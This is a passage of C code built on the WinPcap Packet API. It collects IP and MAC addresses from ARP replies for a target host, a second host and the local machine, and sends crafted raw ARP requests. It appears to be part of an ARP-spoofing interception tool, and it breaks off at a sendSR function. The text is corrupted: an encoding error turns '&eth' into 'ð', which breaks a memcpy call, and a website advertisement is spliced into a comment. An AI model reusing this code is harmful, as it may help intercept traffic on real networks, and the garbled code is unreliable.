{
memset(szTemp,0,sizeof(szTemp));
memcpy(szTemp,&arp->arp_spa,sizeof(arp->arp_spa));
printf("[IP]:");
printf("%s",inet_ntoa(*((struct in_addr *)szTemp)));
printf("[MAC]:");
for(i=0;i<5;i++)
{
printf("%.2x-",eth->eh_src[i]);
}
printf("%.2x",eth->eh_src[5]);
printf("\n");
if (toipandmac.ip==htonl(arp->arp_spa))
{
for(i=0;i<6;i++)
toipandmac.mac[i]=eth->eh_src[i];
toipandmac_flag=TRUE;
}
if (oipandmac.ip==htonl(arp->arp_spa))
{
for(i=0;i<6;i++)
oipandmac.mac[i]=eth->eh_src[i];
oipandmac_flag=TRUE;
// printf("if you have get the MAC Addresses enough,Press any key for staring!\n");
}
if(myipandmac.ip==htonl(arp->arp_spa))
{
for(i=0;i<6;i++)
myipandmac.mac[i]=eth->eh_src[i];
myipandmac_flag=TRUE;
}
}
}
}
continue;
}
}
return 0;
}
DWORD WINAPI sendARPPacket(LPVOID dwsendtoIP)
{
LPPACKET lpPacket;
ETHDR eth;
ARPHDR arphdr;
int i;
char szPacketBuf[600];
u_long sendtoIP=*(u_long *)dwsendtoIP;
//struct sockaddr_in sin;
lpPacket = PacketAllocatePacket();
if(lpPacket==NULL)
{
printf("\nPacketAllocatePacket error!");
return 0;
}
eth.eh_type=htons(ETH_ARP);
for(i=0;i<6;i++)
{
eth.eh_dst[i]=0xff;
eth.eh_src[i]=0xa5;
arphdr.arp_sha[i]=0xa5;
arphdr.arp_tha[i]=0xff;
}
arphdr.arp_hdr=htons(ARP_HARDWARE);
arphdr.arp_pro=htons(ETH_IP);
arphdr.arp_opt=htons(ARP_REQUEST);
arphdr.arp_hln=6;
arphdr.arp_pln=4;
arphdr.arp_tpa=htonl(sendtoIP);
arphdr.arp_spa=htonl(ntohl(inet_addr(MYIP)));
if(sendtoOip)
{
if(myipandmac_flag)
{
for(i=0;i<6;i++)
{
eth.eh_src[i]=myipandmac.mac[i];
arphdr.arp_sha[i]=myipandmac.mac[i];
arphdr.arp_spa=htonl(myipandmac.ip);
//memset(MYIP,0,sizeof(MYIP));
}
}
else
{
printf("My MAC Address Can't Find!\n");
return 0;
}
}
memset(szPacketBuf,0,sizeof(szPacketBuf));
memcpy(szPacketBuf,ð,sizeof(ETHDR));
memcpy(szPacketBuf+sizeof(ETHDR),&arphdr,sizeof(ARPHDR));
PacketInitPacket(lpPacket,szPacketBuf,60);
if(PacketSetNumWrites(lpAdapter, 1)==FALSE)
{
printf("warning: Unable to send more than one packet in a single write!\n");
}
if(PacketSendPacket(lpAdapter, lpPacket, TRUE)==FALSE)
{
printf("Error sending the packets!\n");
PacketFreePacket(lpPacket);
return 0;
}
PacketFreePacket(lpPacket);
return 0;
}
DWORD WINAPI sendSR()
{
ETHDR eth;
ARPHDR arphdr;
int i;
char szPacketBuf[600];
LPPACKET lpPacket;
unsigned char toMAC[6];
struct sockaddr_in sin;
u_long toIP=mytoIP;
//if ((myipandmac_flag==FALSE)(北联网教程,专业提供视频软件下载)
……